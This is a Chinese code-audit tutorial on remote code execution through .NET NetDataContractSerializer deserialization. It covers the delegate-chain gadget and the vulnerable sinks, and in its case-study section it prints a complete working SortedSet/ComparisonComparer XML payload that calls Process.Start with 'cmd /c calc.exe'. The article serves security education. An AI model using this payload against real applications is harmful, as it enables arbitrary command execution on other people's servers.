.NET高级代码审计（第七课） NetDataContractSerializer反序列化漏洞

 

作者：Ivan1ee@360云影实验室

0x00 前言

NetDataContractSerializer和DataContractSerializer一样用于序列化和反序列化Windows Communication Foundation (WCF) 消息中发送的数据。两者 之间存在一个重要区别：NetDataContractSerializer 包含了CLR，通过CLR类型添加额外信息并保存引用来支持类型精确，而 DataContractSerializer 则不包含。 因此，只有在序列化和反序列化端使用相同的 CLR 类型时，才能使用 NetDataContractSerializer。若要序列化对象使用 WriteObject或者Serialize方法， 若要反序列化 XML流使用 ReadObject或者Deserialize方法。在某些场景下读取了恶意的XML流就会造成反序列化漏洞，从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。

 

0x01 NetDataContractSerializer序列化

使用WriteObject或者Serialize可以非常方便的实现.NET对象与XML数据之间的转化，注意NetDataContractSerializer包含了程序集的名字和被序列化类型的类型。这些额外信息可以用来将XML反序列化成特殊类型，允许相同类型可以在客户端和服务端同时使用。另外的信息是z:Id 属性在不同的元素上意义是不同的。这个用来处理引用类型以及当XML被反序列化时是否引用可以保留，最后的结论是这个输出相比DataContractSerializer的输出包含了更多信息。下面通过一个实例来说明问题，首先定义TestClass对象

定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值

笔者使用Serialize得到序列化TestClass类后的xml数据

<TestClass z:Id="1" z:Type="WpfApp1.TestClass" z:Assembly="WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><age>18</age><classname z:Id="2">360</classname><name z:Id="3">Ivan1ee</name></TestClass>

 

0x02 NetDataContractSerializer反序列化

2.1、反序列化用法

NetDataContractSerializer类反序列过程是将XML流转换为对象，通过创建一个新对象的方式调用ReadObject多个重载方法或Serialize方法实现的，查看定义得知继承自XmlObjectSerializer抽象类、IFormatter接口，

NetDataContractSerializer类实现了XmlObjectSerializer抽象类中的WriteObject、ReadObject方法，也实现了IFormatter中定义的方法。笔者通过创建新对象的方式调用Deserialize方法实现的具体实现代码可参考以下

其实在Deserialize方法内也是调用了ReadObject方法反序列化的

反序列化后得到对象的属性，打印输出当前成员Name的值。

2.2、攻击向量—MulticastDelegate

多路广播委托（MulticastDelegate）继承自 Delegate，其调用列表中可以拥有多个元素的委托，实际上所有委托类型都派生自MulticastDelegate。MulticastDelegate类的_invocationList字段在构造委托链时会引用委托数组，但为了取得对委托链更多的控制就得使用GetInvocationList方法，它是具有一个带有链接的委托列表，在对委托实例进行调用的时候，将按列表中的委托顺序进行同步调用，那么如何将calc.exe添加到GetInvocationList列表方法？首先先看Comparison<T>类，它用于位于命令空间System.Collections.Generic，定义如下

Comparison类返回委托，再使用Delegate或者MulticastDelegate类的公共静态方法Combine将委托添加到链中作为Comparison的类型比较器

使用Comparer<T>的静态方法Create创建比较器，比较器对象在.NET集合类中使用的频率较多，也具备了定制的反序列化功能，这里选择SortedSet<T>类，在反序列化的时内部Comparer对象重构了集合的排序。

多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组，让它的每个元素都引用链中的一个委托，然后返回对该数组的引用，下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。

最后传入攻击载荷后得到完整序列化后的poc，如下

 

0x03 代码审计视角

3.1、Deserialize

从代码审计的角度只需找到可控的Path路径就可以被反序列化，例如以下场景：

3.2、ReadObject

上面两种方式都是很常见的，需要重点关注。

 

0x04 案例复盘

1. 代码中实现读取本地文件内容

2. 传递poc xml，弹出计算器网页返回200

<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Start</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName><a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c calc.exe</string><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd</string></Items></ArrayOfstring>

最后配上动态图演示↓↓↓

 

0x05 总结

NetDataContractSerializer序列化功能输出的信息更多，因为性能等原因不及DataContractSerializer，所以在WCF开发中用的场景并不太多，但是因为它无需传入类型解析器所以相对来说更容易触发反序列化漏洞。最后.NET反序列化系列课程笔者会同步到 https://github.com/Ivan1ee/ 、https://ivan1ee.gitbook.io/ ，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号。